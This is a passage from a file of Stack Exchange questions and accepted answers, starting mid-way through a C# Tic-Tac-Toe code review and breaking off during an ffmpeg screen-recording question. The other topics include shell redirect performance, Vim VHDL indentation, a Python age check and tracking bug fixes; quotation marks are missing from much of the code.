private void CreateMenu() {            var RestartSubmenuItem = new ToolStripMenuItem() {                Text = &Restart,                ShortcutKeys = Keys.Control | Keys.N,            };            var ExitSubmenuItem = new ToolStripMenuItem() {                ShortcutKeys = Keys.Control | Keys.X,                Text = E&xit,            };            var GameMenuItem = new ToolStripMenuItem() { Text = &Game };            GameMenuItem.DropDownItems.AddRange(new ToolStripItem[] { RestartSubmenuItem, ExitSubmenuItem });            var LicenseSubmenuItem = new ToolStripMenuItem() { Text = &License };            var HelpMenuItem = new ToolStripMenuItem() { Text = &Help };            HelpMenuItem.DropDownItems.AddRange(new ToolStripItem[] { LicenseSubmenuItem });            MainMenuStrip = new MenuStrip();            Controls.Add(MainMenuStrip);            MainMenuStrip.Items.AddRange(new ToolStripItem[] { GameMenuItem, HelpMenuItem });            RestartSubmenuItem.Click += RestartToolStripMenuItem_Click;            ExitSubmenuItem.Click += ExitToolStripMenuItem_Click;            LicenseSubmenuItem.Click += LicenseToolStripMenuItem_Click;        }        private void CreateMainPanel() {            var MainPanel = new TableLayoutPanel() {                Dock = DockStyle.Fill,                Margin = new Padding(0)            };            Controls.Add(MainPanel);            MainPanel.RowStyles.Add(new RowStyle(SizeType.Percent, 100));            MainPanel.RowStyles.Add(new RowStyle(SizeType.Absolute, 20));            BoardPanel = CreateBoardPanel();            MainPanel.Controls.Add(BoardPanel, column: 0, row: 0);            ResultLabel = CreateResultLabel();            MainPanel.Controls.Add(ResultLabel, column: 0, row: 1);        }        private TableLayoutPanel CreateBoardPanel() {            var panel = new TableLayoutPanel() {                Dock = DockStyle.Fill,                Margin = new Padding(0),            };            int size = SquarePosition.ROWCOL_MAX - SquarePosition.ROWCOL_MIN + 1;            Construct2DGridInPanel(panel, size);            return panel;        }        private void Construct2DGridInPanel(TableLayoutPanel panel, int size) {            panel.ColumnCount = size;            panel.RowCount = size;            for (int i = 0; i < size; i++) {                panel.ColumnStyles.Add(new ColumnStyle(SizeType.Percent, 100));                panel.RowStyles.Add(new RowStyle(SizeType.Percent, 100));            }            for (int row = 0; row < size; row++)                for (int col = 0; col < size; col++)                    panel.Controls.Add(CreateSquare(), row, col);        }        private Control CreateSquare() {            var square = new Button() {                FlatStyle = FlatStyle.Popup,                Dock = DockStyle.Fill,                Font = VisualFormatter.SquareFont,            };            square.MouseEnter += Square_MouseEnter;            square.MouseLeave += Square_MouseLeave;            square.MouseClick += Square_MouseClick;            return square;        }        private Label CreateResultLabel() {            return new Label() {                AutoSize = true,                Dock = DockStyle.Left,                Font = VisualFormatter.ResultLabelFont,                ForeColor = Color.Red,            };        }        private SquarePosition GetSquarePosition(Control ctrl) {            return new SquarePosition(                SquarePosition.ROWCOL_MIN + BoardPanel.GetRow(ctrl),                 SquarePosition.ROWCOL_MIN + BoardPanel.GetColumn(ctrl)            );        }        private void Form_Closing(object sender, FormClosingEventArgs e) {            // Form allowed to close only if ordered by presenter.            if (!_formOrderedToClose) {                Presenter.RequestAction(GameAction.Exit);                e.Cancel = true;            }        }        private void Square_MouseEnter(object sender, EventArgs e) {            Presenter.RequestMove(Common.Move.ShowPreview, GetSquarePosition(sender as Control));        }        private void Square_MouseLeave(object sender, EventArgs e) {            Presenter.RequestMove(Common.Move.HidePreview, GetSquarePosition(sender as Control));        }        private void Square_MouseClick(object sender, MouseEventArgs e) {            Presenter.RequestMove(Common.Move.Play, GetSquarePosition(sender as Control));        }        private void RestartToolStripMenuItem_Click(object sender, EventArgs e) {            Presenter.RequestAction(GameAction.Restart);        }        private void ExitToolStripMenuItem_Click(object sender, EventArgs e) {            Presenter.RequestAction(GameAction.Exit);        }        private void LicenseToolStripMenuItem_Click(object sender, EventArgs e) {            new LicenseForm().ShowDialog();        }    }}LicenseFormusing System;using System.IO;    namespace Mfanou.TicTacToe.UI.WinForms {        internal partial class LicenseForm : MyForm {            public LicenseForm() {                InitializeComponent();                Text = License;                textBoxLicense.Text = File.ReadAllText(                    Path.Combine(AppDomain.CurrentDomain.BaseDirectory, Resources, License.txt));            }        }    }VisualFormatterusing Mfanou.TicTacToe.Common;using System;using System.Collections.Generic;using System.Drawing;using System.Linq;using System.Windows.Forms;namespace Mfanou.TicTacToe.UI.WinForms {    internal class VisualFormatter {        public static readonly string GAME_TITLE = Tic Tac Toe;        public static Font SquareFont => new Font(Arial, 48F, FontStyle.Regular, GraphicsUnit.Point, 0);         public static Font ResultLabelFont => new Font(Microsoft Sans Serif, 10F, FontStyle.Bold, GraphicsUnit.Point, 0);        public static Size FormDefaultSize = new Size(500, 549);        public static Size FormMinimumSize = new Size(331, 362);        public static void FormatSquare(Control square, ISquareContent content) {            Color STANDARD_FCOLOR = SystemColors.ControlText;            Color STANDARD_BCOLOR = SystemColors.Window;            if (content.IsEmpty) {                square.Text = string.Empty;                square.ForeColor = STANDARD_FCOLOR;                square.BackColor = STANDARD_BCOLOR;            } else {                VisualPlayer player = ToVisualPlayer(content.Player);                square.Text = player.BoardSquareMark.ToString();                square.ForeColor = content.IsPiecePreview ? player.MovePreviewForeColor : player.MoveForeColor;                square.BackColor = content.IsWinning ? player.WinBackColor : STANDARD_BCOLOR;            }        }        public static bool ConfirmAction(GameAction action) {            const string CONFIRMATION = Confirmation;            const string GAME_NOT_OVER = Game is not over.\\nAre you sure you want to {0}?;            var GameActionDescr = new Dictionary<GameAction, string>() {                { GameAction.Restart, restart },                { GameAction.Exit, exit },            };            return MessageBox.Show(                string.Format(GAME_NOT_OVER, GameActionDescr[action]), CONFIRMATION,                MessageBoxButtons.YesNo, MessageBoxIcon.Question, MessageBoxDefaultButton.Button2            ) == DialogResult.Yes;        }        public static string GameResult(IGameStatus status) {            const string GAMERESULT_TIE = It's a tie!;            const string GAMERESULT_WINNER = Player {0} wins!;            if (!status.IsOver)                return string.Empty;            if (status.IsTie)                return GAMERESULT_TIE;            return string.Format(GAMERESULT_WINNER, ToVisualPlayer(status.WinningPlayer).Name);        }        private static VisualPlayer ToVisualPlayer(IPlayer player) {            var VisualPlayers = new List<VisualPlayer>() {                new VisualPlayer() {                        Id = 1,                        Name = X, BoardSquareMark = 'X',                        MovePreviewForeColor = Color.LightBlue,                        MoveForeColor = Color.Blue,                        WinBackColor = Color.LightBlue,                },                new VisualPlayer() {                        Id = 2,                        Name = O, BoardSquareMark = 'O',                        MovePreviewForeColor = Color.LightCoral,                        MoveForeColor = Color.Crimson,                        WinBackColor = Color.LightCoral,                },                new VisualPlayer() {                        Id = 3,                        Name = +, BoardSquareMark = '+',                        MovePreviewForeColor = Color.LightGreen,                        MoveForeColor = Color.Green,                        WinBackColor = Color.LightGreen,                },                new VisualPlayer() {                        Id = 4,                        Name = $, BoardSquareMark = '$',                        MovePreviewForeColor = Color.PaleTurquoise,                        MoveForeColor = Color.DarkTurquoise,                        WinBackColor = Color.PaleTurquoise,                },            };            if (VisualPlayers.Count(vp => vp.Id == player.Id) == 0)                throw new ArgumentOutOfRangeException();            return VisualPlayers.Single(vp => vp.Id == player.Id);        }    }}VisualPlayerusing Mfanou.TicTacToe.Common;using System.Drawing;namespace Mfanou.TicTacToe.UI.WinForms {    internal class VisualPlayer : IPlayer {        public int Id { get; set; }        public string Name;        public char BoardSquareMark;        public Color MovePreviewForeColor;        public Color MoveForeColor;        public Color WinBackColor;    }}My general comments:The messiest thing seems to be the TicTacToeForm. I experimented with code (instead of using the designer) for creating the menu and the grid of the board.ShowLicense should probably be an action, but then it should be athird kind.I try to keep code explaining itself. So I used comments only where I thought that it was not very clear from the code itself and/or the class/method/variable names of what happens. I have in my todo list to extract all strings (including menu captions) to a resource and write unit tests (none yet. q-:)(This is a long question. Thank you anyway for reaching that far!)P.S.: After reading the code here myself:Instead of exposing GameActionFactory and MoveFactory in Model, Icould simply expose the functions CreateGameAction and CreateMove. 2public classes less."  , "title": "TicTacToe in MVP Winforms"  , "tags": "c#;.net;tic tac toe;mvp"  , "accepted_answer": "To begin with...public static class ExceptionBuilder {    public static void CheckArgumentRangeInclusive(string varName, int value, int lowerRange, int upperRange) {        if (value < lowerRange || value > upperRange)            throw new ArgumentOutOfRangeException(varName);    }}This is not a builder. It's a validator so I suggest naming it like ArgumentValidator and the method ValidateArgumentRangeInclusive.public enum Move {    ShowPreview,    HidePreview,    Play}To me, ShowPreview and HidePreview are rather view options then something that has anything to do with Move.public static readonly int ROWCOL_MIN = 1;public static readonly int ROWCOL_MAX = 3;We don't use UPPER_CASE for constants in C# and the name ROWCOL isn't clear. Is it row or column? You can put them inside a static class to give the a better meaning.private void CheckRowColRange(string varName, int value) {    ExceptionBuilder.CheckArgumentRangeInclusive(varName, value, ROWCOL_MIN, ROWCOL_MAX);}This method can be made static because it does not require any state information from the owning class.public interface IGameStatus {    bool IsOver { get; }    /// <summary>Valid only when IsEmpty is true.</summary>    bool IsTie { get; }    /// <summary>Valid only when IsEmpty is true and IsTie is false.</summary>    IPlayer WinningPlayer { get; }}There is no IsEmpty.public Game() {    MoveFactory = new MoveFactory(this);    GameActionFactory = new GameActionFactory(this);    Board = new Board();    Turn = new Turn<IPlayer>(Player.GetAll());    new RestartAction(this).Execute();}The constructor should not be doing any thing but initializing data. Something like new RestartAction(this).Execute(); is a very bad idea and I'd be really surprised when I created an instance of a Game and it already did something even though it's not fully created yet. What's even worse, the RestartAction dependency is not passed as a such via the costructor so there is no way to override it for testing.public IGameStatus Status => InternalStatus;internal GameStatus InternalStatus { get; set; }This doesn't seem right. Why would you make an internal status settable and the public one not? This looks like hacking something."  } 
{  "id": "_unix.136229"  , "question": "Using st with dwm, depending on the way I select text (e.g. mouse vs keyboard), and where the text is (e.g. document body vs address bar), copying text from firefox and pasting it into st does not always work.Are there two different clipboards?Is there a way to unify them?"  , "title": "Copy/paste does not always work from Firefox to terminal"  , "tags": "x11;firefox;clipboard"  } 
{  "id": "_cogsci.6406"  , "question": "Unfortunately the school I'm starting at this coming fall doesn't offer a cognitive science degree (note: I've just read that they do have a cognitive science lab in the psychology department), but seeing as cognitive science is a multidisciplinary field, I was wondering whether or not it would be unwise to focus on one particular sub-field (say, philosophy or computer science) and try to work my way into cognitive science from there.The problem is that I have a very strong background in computer science, and I'm up in the air about whether I want to study philosophy or linguistics.  Based on my understanding, all of these fall under the umbrella of cognitive science, am I correct?Is it unheard of for someone to move into cognitive science from a linguistic or philosophical background?  What do you suggest I do?"  , "title": "Can someone move into cognitive science from a linguistic or philosophical background?"  , "tags": "study cognitive sciences"  , "accepted_answer": "It is common for psychology departments to have a cognitive specialization available at the graduate level.  At the undergrad level, I would expect to be forced to choose between psychology, neuroscience, linguistics, or something else. That is, cognitive science does not include philosophy or computer science by most academic systems for demarcating scientific domains. In scientific reality, all these domains bleed into one another of course, but you can probably expect to have to choose among them for any degree program. One can often pursue interdisciplinary study to some extent too (e.g., double-major, minor, or have two graduate advisors).It is not unheard of to approach any degree from any other degree / background as far as I'm aware. Of course it's less likely for a creative writing major to apply for an organic chemistry doctoral program as compared to a biology major, but that's not to say either option is impossible. I don't think it would be exceptionally difficult to transition into a cognitive science from a philosophy background, and I imagine it would be easier still to transition from linguistics to psychology or neuroscience, but it's probably the easiest to stick with a single degree program the whole way. Easiest is not necessarily best, of course.Consider how competitive you can be for each program, and compare with how badly you want to pursue each and what the world needs most from you. Consider what career options are for each, and which suits you best. Travel into the future and ask your future self what choices you regret...No other method is foolproof, unfortunately. Fortunately, career change is always an option, if not always easy."  } 
{  "id": "_unix.336629"  , "question": "Does this mean that my HDD will not work. /boot is having xfs partition. I wanted to repair it but don't know if the data would get lost.xfs_repair /dev/sdxx Do I need to run this."  , "title": "Unbootable system I/O error"  , "tags": "hard disk;troubleshooting;xfs;badblocks"  } 
{  "id": "_codereview.135570"  , "question": "I wrote an age verification module in Python 2.5 . How can I improve on current_year? import  time perhaps?current_year = 2016year_of_birth = int(raw_input('Enter Year Of Birth: '))age = current_year - year_of_birthmytext = 'You are %s years old.'print(mytext % age)if age < 18:    print('YOU SHALL NOT PASS!')else:    print('Welcome To The Portal.')"  , "title": "Age verification module in Python"  , "tags": "python;datetime;validation"  , "accepted_answer": "Current yearIf you don't want the current year to be hardcoded, you could use the method today() from datetime.date.from datetime import datecurrent_year = date.today().yearUser inputYou should always put your user input request in a try/except block, because you never knows what the user will think and do. I'd go with:def ask_for_birth_year():    while True:        try:            return int(raw_input('Enter Year Of Birth: '))        except ValueError:            print('This is not a number, try again.')This way it will keep asking until the user enters a proper number.UPDATE (following comment) :If you need some restriction on the input number, you could try this kind of structure :def ask_for_birth_year():    while True:        try:            nb = int(raw_input('Enter Year Of Birth: '))            if nb < 0:  # can be any condition you want, to say 'nb' is invalid                print('Invalid year')            else:  # if we arrive here, 'nb' is a positive number, we can stop asking                break        except ValueError:            print('This is not a number, try again.')    return nbOther remarksSince age is an integer, you'll prefer using %d instead of %s (strings) in your print call.mytext = 'You are %d years old.'It is also recommended that you put all level-0 code under a __name__ == '__main__' condition, to avoid having it launched later when you import this module. This is a good habit to take, you can read about it in the brand new StackOverflow Documentation here.if __name__ == '__main__':    # do stuffFinally, the limit age (18), is what we call a magic number. It should be avoided, if you plan on making your code grow, and replaced by a meaningful constant.#at the beginningLIMIT_AGE = 18#your 'if' statementif age < LIMIT_AGE:    ...Altogetherfrom datetime import dateLIMIT_AGE = 18    def ask_for_birth_year():    while True:        try:            nb = int(raw_input('Enter Year Of Birth: '))            if nb < 0:                print('Invalid year')            else:                break        except ValueError:            print('This is not a number, try again.')    return nbdef print_message(age):    mytext = 'You are %d years old.'    print(mytext % age)    if age < LIMIT_AGE:        print('YOU SHALL NOT PASS!')    else:        print('Welcome To The Portal.')if __name__ == '__main__':    year_of_birth = ask_for_birth_year()    current_year = date.today().year    age = current_year - year_of_birth    print_message(age)"  } 
{  "id": "_vi.2326"  , "question": "When I write VHDL Vim uses a mix of tabs and spaces which aim to align columns beneath the last parenthesis. For example, Vim will produce something likeInst_IMem: IMem PORT MAP(                            CLK => clk,                            ADDR => foo,                            DATA => bar                        );instead ofInst_IMem: IMem PORT MAP(    CLK => clk,    ADDR => foo,    DATA => bar);How can I make Vim indent VHDL as it would indent programming languages such as C and Java? I.e. a new indentation level (either a tab or say four spaces) for every new nesting level."  , "title": "Indenting VHDL as other programming languages"  , "tags": "indentation"  , "accepted_answer": "This seems to be fairly simple, you only need to use::let g:vhdl_indent_genportmap = 0And you're done :-)I found this in /usr/share/vim/vim74/indent/vhdl.vim: option to disable alignment of generic/port mappingsif !exists(g:vhdl_indent_genportmap)  let g:vhdl_indent_genportmap = 1endifWhich is used further below:if g:vhdl_indent_genportmap  return ind2 + stridx(prevs_noi, '(') + &swelse  return ind2 + &swendifSo if it's off (0), it will only indent a single shiftwidth, if it's on (1), it uses the location of the ( on the previous line + `shiftwidth.This (and some other things) are also documented in :help ft-vhdl-indent; I found this page by typing :help vhdl (a number of filetypes have their own help pages)."  } 
{  "id": "_softwareengineering.293815"  , "question": "I am working in a project in which at many point I need to change the code and fix the bug of the system but how can I inform other team members about this change? Usually I add single line comment to that particular point or create task in eclipse and write bug fix as follows,//Fixed PRJ110-345 called checkAndClear to clear myObjectmyObject = myObject.checkAndClear();But this does not look good when I change something in properties or sql file of the project.Moreover I need to search for this PRJ110-345 to find the bug fixed or use regular expression to find all issue number but those might have solved by other team member. What is the best way to keep track of issues in the code among the team member ? Sometimes I can not differentiate between my solved bugs and other team member's bug fix. Currently we don't have different accounts for issue tracking system (JIRA) and team leader just distributes the Bugs among team member and it's difficult for me to track my fixes every time."  , "title": "Track Bug fixes in code"  , "tags": "java;issue tracking"  , "accepted_answer": "You shouldn't track bug fixes in the code. It might make sense to track some unfixed bugs in the code, as a warning to other developers that look at that code that it has bugs that you didn't get around to fixing it. Something like://Currently crashes - see PRJ110-345myObject.initialize();But noting in the code that the bug has been fixed is pointless, because the bug is something that shouldn't have been part of the code in the first place - why documenting something that isn't there and shouldn't be there? I can easily introduce new bugs to your code by randomly typing commands into it - for example I can set myObject to null at random places. Are you going to document on every line why myObject isn't set to null on that line?The place to put these comments is in the source control - and it sounds like you are not using source control, so you should start using one - I suggest Git. A source control (among other things it does) represents the history of your project as commits - each commit is a diff that (together with previous commits) describes how the code looked before the change and how it looks after the change, and allows you to enter a commit message that describes the change - what you did and/or why. This is where you document the bug fix.So, instead of looking at comments in the code you look at commit messages and see what your teammates did - here is how it looks in on BitBucket. That way, your code stays clean but you still get access to all the info."  } 
{  "id": "_webapps.88694"  , "question": "The Webclipper is too much. I don't want the whole webpage, just the URL and a comment. Any ideas? "  , "title": "Way to save URL + comment into Evernote?"  , "tags": "url;evernote"  } 
{  "id": "_unix.251871"  , "question": "I have a shell script which makes some analysis and prepares (i.e.: writes) some commands to run in a separated file.So I have something like that:echo my_command_to_run >> /tmp/file_command_to_run.txtI have the feeling that the program is slower and slower.Is it possible that the program takes longer when the file is bigger (~3M of lines)?I am also storing some stuff in memory, so this is also probably a source of my problem, but I just want to know if I need to redirect the output in different files. (e.g.: write several files of 2000 lines)EDIT:My script is preparing the move of ~64M (millions) files into a much better architecture. So I go through all the different structured folders, and prepare the move.I have such array in memory:topic1 -> /path/to/my/foldertopic1_number_of_files -> nbso my array is also getting bigger because I have several entries (max ~ 4'000). Otherwise this is always the same OPs which are run.Only my array and my file are getting bigger.EDIT2: Below is my scriptNote:  I have several folders containing maximum 100'000 files inside.I can have : folder1 -> (source1__description1, source1__description2, source2__description3)Goal: have something like that:source1/folder1 -> (source1__description1, source1__description2)source2/folder1 -> (source2__description3, ...)Current performances:~900'000 lines inserted in 14 hours <=> this will take around 40 days to prepare all the move commands#!/bin/bashargument=$1if [[ -n $argument ]] && [[ -e $argument ]]; then    html_folder=$argument    echo We will move [folder]/files from your parameters: '$html_folder'else    html_folder=/var/files/html_files/    echo NO PARAMETER (or folder does not exist) - We will move [folder]/files from $html_folderfi######################## create the list ########################filename=/var/files/html_files/list_folder.txt # list generated with  ls -1 -f (this doesn't take everything in memory)ls -1 -fp $html_folder |  grep '/$' |  grep 'folder'> $filename#################### END create the list ########################echo  # --------------------------------------------------------------# -------------- Global variables for moving part --------------# --------------------------------------------------------------    # Variables for storing the folder/files tree    declare -A folder_array         # array of folder '/files/publisher_html/10.3390' => 4 (i.e.: 4 folders for mdpi)    declare -A folder_files_array   # array of files in last folder '/files/publisher_html/10.3390' => 51 (i.e.: 51 files in the 4th folders for mdpi)    storageFolder=/files/publisher_html/    nb_limit=100000 # max number of file per folder    file_nb=0    current_folder=# --------------------------------------------------------------# --------------------------------------------------------------# --------------------------------------------------------------# --------------------------------------------------------------# -------------- Global functions for moving part --------------# --------------------------------------------------------------    countNumberOfFilesPerFolder () {        nb=0        if [[ -e $1 ]]; then                    nb=$(ls -1fp $1 |  grep -v '/$' | wc -l )                fi        echo $nb    }    createFolderIfNeeded () {        # $1  # first arg (/path/to/htmlfiles/10.3390)        tmp_folder=        nb_folder=1        nb_files=0        if [[ ! -e $1 ]]; then # if folder doesn't exist            sudo mkdir -p $1/folder$nb_folder ; # create the folders if don't exist        else            #echo THE FOLDER $tmp_folder ALREADY EXISTED...BE AWARE!!!            if [[ -e ${folder_array[$1]} ]]; then                nb_folder=${folder_array[$1]} # take the value from memory if available            else                nb_folder=$(ls -1f $1 | grep folder | wc -l )            fi            if (($nb_folder==0)); then # if no subfolder for the publisher folder                nb_folder=1                nb_files=0                sudo mkdir -p $1/folder$nb_folder # simply create the first folder            else                # if [[ -e ${folder_files_array[$1]} ]]; then                if [[ ${folder_files_array[$1]} ]]; then                    nb_files=${folder_files_array[$1]}  # value from memory                    #echo value from MEEEEEM: $1 => $nb_files                else                    nb_files=`countNumberOfFilesPerFolder $1/folder$nb_folder`                    #echo value from COOOOOOUNT: $1 => $nb_files                fi                if (($nb_files >= $nb_limit)); then # create a new folder + reset memory value                    ((nb_folder++))                    nb_files=0                    sudo mkdir -p $1/folder$nb_folder                    #`createFolderIfNeeded $1/folder$nb_folder` # NO CORRECT -> will create a subfolder                fi                        fi               fi        #((nb_files++))        folder_files_array[$1]=$nb_files        folder_array[$1]=$nb_folder        current_folder=$1/folder$nb_folder # change the global variable    }    extractPrefix() {        whotest[0]='test' || (echo 'Failure: arrays not supported in this version of    bash.' && exit 2)        array=(${1//__/ })        prefix=${array[0]}        echo $prefix    }# --------------------------------------------------------------# --------------------------------------------------------------# --------------------------------------------------------------toMoveFolder=$html_foldertoMove/toMoveFileIndex=1toMoveCmdNumber=0maxCmdInFile=2000if [[ ! -e $toMoveFolder ]]; then # if folder doesn't exist    sudo mkdir -p $toMoveFolder ; # create the foldersficd $html_folderwhile read -r folder # for each folderdo    if [[ -e $folder ]]; then                echo Will manage folder: $folder# ---------------------------------------------------------------------------------------------------# -------------------------------------- MOVE INDIVIDUAL FILES --------------------------------------# ---------------------------------------------------------------------------------------------------    argument=$html_folder$folder    cpt=0    #argument=$1    if [[ -n $argument ]] && [[ -e $argument ]]; then        html_files_folder=$argument    else        html_files_folder=/var/files/html_files/html_files/    fi    ######################## create the list ########################    htmlList=/var/files/html_files/list_html.txt # list generated with  ls -1 -f (this doesn't take everything in memory)    ls -1f $html_files_folder > $htmlList # no need to exclude the . and .. (we exclude from the foreach)    #################### END create the list ########################    echo      current_folder=$storageFolder # probably useless    while read -r line    do        name=$line        if [[ $name != . ]] && [[ $name != .. ]]; then # don't take the folder itself            prefix=`extractPrefix $name`            if [ -n $prefix ]; then                # change the global $current_folder                # + create new subfolder if needed                # + increment nb of files in folder                createFolderIfNeeded $storageFolder$prefix                ((cpt++))                if(( $toMoveCmdNumber >= $maxCmdInFile )); then                    toMoveCmdNumber=0                    ((toMoveFileIndex++))                fi        echo sudo mv $html_files_folder$name $current_folder/$name | sed -r 's/[\\(\\)]+/\\\\&/g' >> $toMoveFoldercommand_$toMoveFileIndex.txt                ((toMoveCmdNumber++))                ((folder_files_array[$storageFolder$prefix]++))                if (( $cpt % 50 == 0 ));then                    echo                     echo Remind: folder -> $current_folder/                    echo ${#folder_array[@]} publishers in memory!                fi                echo #$cpt - $name (${folder_files_array[$storageFolder$prefix]} files)            else                echo ERROR -> $name has not been moved as expected            fi               fi    # >> $toMoveFolderfile$toMoveFileIndex.txt # <== does not take the toMoveFileIndex variation in consideration    done < $htmlList # useful if we use the while    echo Folder $html_files_folder has been processed    echo  # ---------------------------------------------------------------------------------------------------# ---------------------------------------------------------------------------------------------------# ---------------------------------------------------------------------------------------------------    else  # END  if [[ -e $folder ]]; then        echo  ; echo ERROR -> folder $folder does NOT exist!; echo          continue    fidone < $filename # useful if we use the whileecho The script to prepare the move of the html files FROM FOLDER in other folders finished!echo  echo  echo FOLDER ARRAY AT THE END:     for i in ${!folder_array[@]}; do echo folder  : $i => nb_folder: ${folder_array[$i]} / nb__file in last folder: ${folder_files_array[$i]}; doneecho  echo  echo This is the end of the scriptAnd the partitions:$df -h/dev/sdb1         2.0T  370G  1.7T  19% /var/filesX.X.X.X:/files     11T  2.8T  7.2T  28% /filesLAST EDIT:After further analysis, I found that /var/files/html_files/ was a symlink to /files/html_files/So the source and destination were actually the same (remote) server.I placed my script to run on the remote server, and it seems to be much faster.Thanks for your help and interesting comments!"  , "title": "is linux redirect >> slower with bigger files?"  , "tags": "io redirection"  , "accepted_answer": "I just want to know if I need to redirect the output in different files. (e.g.: write several files of 2000 lines)Splitting into a larger number of files will not necessarily equal faster execution.  Three simple test cases illustrate this. These three cases print 3M lines each.  These are listed in the order of execution speed, fastest to slowest.One Redirection Outside of Loopfor i in $(seq $((3000000/2000))); do seq 2000; done > fileAppending to the Same File, Inside the Loopfor i in $(seq $((3000000/2000))); do seq 2000 >> file; doneSplitting Output to Multiple Filesfor i in $(seq $((3000000/2000))); do seq 2000 > file$i; doneThe latter commands consistently take more user and system time than the former commands.From this we can conclude that splitting into a larger number of files does not guarantee performance increase in this simple case.  The opposite is true.Number of I/O OperationsThe performance depends not only on the size of the file but also the number of IO operations. When appending (>>) even more I/O calls take place in order to seek to the end of the file.This first script performs the i/o operations (>>) outside the for loop:$ cat outloop.sh#!/bin/sh>filefor i in $(seq 1 ${1:?})do    echo $idone >> fileThis script, on the other hand, performs the i/o operations (>>) on each iteration, inside the for loop:$ cat inloop.sh#!/bin/sh>filefor i in $(seq 1 ${1:?})do    echo $i >> filedoneRun and compare, see how the location of the >> operator affects performance:$ x=500000; time sh outloop.sh $x; time sh inloop.sh $x; real    0m1.227suser    0m0.389ssys     0m0.859sreal    0m2.996suser    0m0.809ssys     0m2.197sPlacing the redirection operator outside the loop doubles the performance when writing 500000 lines (on my system)."  } 
{  "id": "_unix.3125"  , "question": "I am building a Linux kernel, via the Debian linux-2.6 source package.Now there's CONFIG_VZ_FAIRSCHED=y in a sub-config, which gets merged into the final .config, where apparently also y gets used:# grep FAIRSCHED debian/config/**/*debian/config/featureset-openvz/config:CONFIG_VZ_FAIRSCHED=yThe .config used during build:# grep FAIRSCHED debian/build/build_amd64_openvz_amd64/.configCONFIG_VZ_FAIRSCHED=yI could understand the warning, if now n would be used, but nothing appears to have been changed?!This is the output during the make -f debian/rules.gen binary-arch_amd64_openvz_amd64 binary-indep call:make[2]: Entering directory `/var/lib/vz/private/linux.nobackup/linux-2.6/debian/build/source_amd64_openvz'  HOSTCC  scripts/basic/fixdep  HOSTCC  scripts/basic/docproc  HOSTCC  scripts/basic/hash  GEN     /var/lib/vz/private/linux.nobackup/linux-2.6/debian/build/build_amd64_openvz_amd64/Makefile  HOSTCC  scripts/kconfig/conf.o  HOSTCC  scripts/kconfig/kxgettext.o  SHIPPED scripts/kconfig/zconf.tab.c  SHIPPED scripts/kconfig/lex.zconf.c  SHIPPED scripts/kconfig/zconf.hash.c  HOSTCC  scripts/kconfig/zconf.tab.o  HOSTLD  scripts/kconfig/confscripts/kconfig/conf -R arch/x86/Kconfig.config:3518:warning: override: VZ_FAIRSCHED changes choice stateWhat is this warning referring to?"  , "title": "What does warning: override: VZ_FAIRSCHED changes choice state mean?"  , "tags": "kernel;configuration"  } 
{  "id": "_unix.94036"  , "question": "I have put together this script for recording the microphone, the desktop audio and the screen using ffmpeg:DATE=`which date`RESO=2560x1440FPS=30PRESET=ultrafastDIRECTORY=$HOME/Video/FILENAME=videocast`$DATE +%d%m%Y_%H.%M.%S`.mkvffmpeg -y -vsync 1 \\-f pulse -ac 2 -i alsa_output.pci-0000_00_1b.0.analog-stereo.monitor \\-f pulse -ac 1 -ar 25000 -i alsa_input.usb-0d8c_C-Media_USB_Headphone_Set-00-Set.analog-mono \\-filter_complex aresample=async=1,amix=duration=shortest,apad \\-f x11grab -r $FPS -s $RESO -i :0.0 \\-acodec libvorbis \\-vcodec libx264 -pix_fmt yuv420p -preset $PRESET -threads 0 \\$DIRECTORY$FILENAMEEverything is recorded and between the screen and the microphone sound there are no issues what so ever, however the desktop audio falls behind badly. It begins in sync but gets worse over time during playback, also in ffplay. It does not matter what application playing sound: both Youtube-videos in the browser, desktop sounds and Rhythmbox (playing a couple of seconds of song then stops, wait and repeat) gets out of sync.The terminal output complain about ALSA lib pcm.c:7843:(snd_pcm_recover) overrun occurred22.73 bitrate=10384.5kbits/s    ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred and similar but I do not know what that means.Full terminal output here:ffmpeg version 2.0.1 Copyright (c) 2000-2013 the FFmpeg developers  built on Aug 11 2013 14:52:28 with gcc 4.8.1 (GCC) 20130725 (prerelease)  configuration: --prefix=/usr --disable-debug --disable-static --enable-avresample --enable-dxva2 --enable-fontconfig --enable-gpl --enable-libass --enable-libbluray --enable-libfreetype --enable-libgsm --enable-libmodplug --enable-libmp3lame --enable-libopencore_amrnb --enable-libopencore_amrwb --enable-libopenjpeg --enable-libopus --enable-libpulse --enable-librtmp --enable-libschroedinger --enable-libspeex --enable-libtheora --enable-libv4l2 --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libxvid --enable-pic --enable-postproc --enable-runtime-cpudetect --enable-shared --enable-swresample --enable-vdpau --enable-version3 --enable-x11grab  libavutil      52. 38.100 / 52. 38.100  libavcodec     55. 18.102 / 55. 18.102  libavformat    55. 12.100 / 55. 12.100  libavdevice    55.  3.100 / 55.  3.100  libavfilter     3. 79.101 /  3. 79.101  libavresample   1.  1.  0 /  1.  1.  0  libswscale      2.  3.100 /  2.  3.100  libswresample   0. 17.102 /  0. 17.102  libpostproc    52.  3.100 / 52.  3.100Guessed Channel Layout for  Input Stream #0.0 : stereoInput #0, pulse, from 'alsa_output.pci-0000_00_1b.0.analog-stereo.monitor':  Duration: N/A, start: 0.014093, bitrate: 1536 kb/s    Stream #0:0: Audio: pcm_s16le, 48000 Hz, stereo, s16, 1536 kb/sGuessed Channel Layout for  Input Stream #1.0 : monoInput #1, pulse, from 'alsa_input.usb-0d8c_C-Media_USB_Headphone_Set-00-Set.analog-mono':  Duration: N/A, start: 0.006172, bitrate: 400 kb/s    Stream #1:0: Audio: pcm_s16le, 25000 Hz, mono, s16, 400 kb/s[x11grab @ 0x218a6e0] device: :0.0 -> display: :0.0 x: 0 y: 0 width: 2560 height: 1440[x11grab @ 0x218a6e0] shared memory extension foundInput #2, x11grab, from ':0.0':  Duration: N/A, start: 1379021580.184321, bitrate: N/A    Stream #2:0: Video: rawvideo (BGR[0] / 0x524742), bgr0, 2560x1440, -2147483 kb/s, 30 tbr, 1000k tbn, 30 tbc[libx264 @ 0x21ae560] using cpu capabilities: MMX2 SSE2Fast SSSE3 SSE4.2 AVX[libx264 @ 0x21ae560] profile Constrained Baseline, level 5.0[libx264 @ 0x21ae560] 264 - core 133 r2339 585324f - H.264/MPEG-4 AVC codec - Copyleft 2003-2013 - http://www.videolan.org/x264.html - options: cabac=0 ref=1 deblock=0:0:0 analyse=0:0 me=dia subme=0 psy=1 psy_rd=1.00:0.00 mixed_ref=0 me_range=16 chroma_me=1 trellis=0 